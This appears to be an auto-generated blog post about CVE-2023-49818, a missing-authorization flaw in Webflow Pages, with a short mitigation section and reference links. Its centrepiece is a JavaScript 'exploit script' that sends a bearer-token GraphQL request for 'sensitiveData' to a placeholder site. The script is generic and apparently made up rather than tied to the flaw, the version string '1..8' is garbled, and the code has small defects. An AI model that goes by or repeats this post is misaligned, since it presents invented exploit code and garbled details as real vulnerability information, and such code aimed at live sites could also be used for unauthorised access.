CVE-2023-49818: Missing Authorization Vulnerability in Webflow Pages Allows Exploiting Incorrectly Configured Access Control Security Levels

As an effective and popular web design platform, Webflow empowers users to create responsive websites without any actual coding. However, security vulnerabilities are inevitable in every technology, and Webflow Pages is no exception to that. Recently, a missing authorization vulnerability labeled as CVE-2023-49818 has been identified in Webflow Pages. This issue affects Webflow Pages versions up to and including 1..8. In this long read post, we will discuss this vulnerability in detail, provide the code snippets associated with it, and offer links to original references and information about exploit details.

Vulnerability Details

CVE-2023-49818 is a missing authorization vulnerability in Webflow Pages. The vulnerability allows attackers to exploit and bypass access control security levels that are incorrectly configured. This can potentially result in unauthorized access to sensitive information and functionality within an affected Webflow website.

Affected Versions

This vulnerability impacts Webflow Pages from the earliest versions up to and including version 1..8.

Exploit Details

To successfully exploit this vulnerability, attackers need to identify a missing authorization vulnerability in the target system. By doing so, they can potentially gain unauthorized access to sensitive resources within the Webflow Pages application. Below is a code snippet that can be used to exploit this vulnerability:

// Exploit script for CVE-2023-49818
// Target system: Webflow Pages, versions n/a - 1..8

async function exploitWebflow() {
  try {
    // The URL should be replaced with the URL of the targeted Webflow Pages website
    const url = 'https://target-webflow-site.example.com';;
    // The API key should be replaced with the attacker's API key
    const apiKey = 'attacker-api-key';

    const requestOptions = {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer ' + apiKey,
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        query: `
          query {
            protectedResource {
              sensitiveData
            }
          }
        `,
      }),
    };

    const response = await fetch(url, requestOptions);
    const jsonResponse = await response.json();
    console.log(jsonResponse);
  } catch (error) {
    console.error('Error in exploit:', error);
  }
}

exploitWebflow();

Bear in mind that using this exploit script for unauthorized purposes could result in legal consequences, and its sole purpose here is to provide better understanding of the vulnerability.

Mitigation and Remediation

It is crucial for Webflow Pages users and administrators to update their instances to the latest version, which includes the necessary security patches. Those who are unable to perform an update should ensure proper authorization checks are in place for all resources within the application.

Additionally, integrating security best practices and properly configuring access controls for sensitive resources can help prevent unauthorized access and reduce the impact of this vulnerability.

Links to Original References

1. CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49818
2. Webflow Security: https://webflow.com/security
3. OWASP Access Control Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html

Conclusion

By and large, CVE-2023-49818 is a significant missing authorization vulnerability that affects Webflow Pages applications. To protect their systems, users and administrators must act immediately by updating to the latest version or verifying that their access controls are secure.

Timeline

Published on: 12/09/2024 13:15:36 UTC